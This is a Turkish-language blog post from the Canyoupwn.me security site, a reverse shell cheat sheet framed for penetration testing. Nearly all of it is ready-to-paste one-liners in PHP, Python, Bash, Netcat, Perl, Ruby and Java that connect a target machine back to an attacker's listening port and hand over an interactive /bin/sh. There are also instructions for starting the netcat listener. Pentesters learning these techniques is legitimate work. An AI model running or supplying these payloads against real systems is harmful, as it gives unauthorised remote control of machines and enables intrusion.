Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Reverse Shell Cheat Sheet

Bir sızma testinde hedef makina üzerinde komut çalıştırabilecek bir zafiyet yakalamışsınızdır ancak SSH keyi eklemenize yada benzer bir şekilde bağlantı açmanıza imkan vermiyor olabilir…
Bu durumda bir TCP porta reverse shell almak istersiniz.

Komut çalıştırarak reverse shell almanıza imkan sağlayacak etken hedef makinada çalışan betik  dilleridir, en stabil şekillerini sizin için “kopyala/yapıştır” kullanabileceğiniz bir şablon halinde hazırladık.

Bu komutu hedef üzerinde çalıştırmadan önce istek yapacağınız portu Netcat dinlemeye almanız gerekmektedir.

nc -lvp [port]

nclvp

Aşağıdaki örneklerde 192.168.10.11 local IP ve 4545 ise dinleyeceğiniz local porttur

 


Php

php -r '$sock=fsockopen("192.168.10.11",4545);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash

bash -i >& /dev/tcp/192.168.10.11/4545 0>&1

Netcat

nc -e /bin/sh 192.168.10.11 4545

Perl

perl -e 'use Socket;$i="192.168.10.11";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.10.11",4545).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.11/4545;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

About Hakkı YÜCE

Cyber Security Researcher / Project Director at Canyoupwnme

Follow Me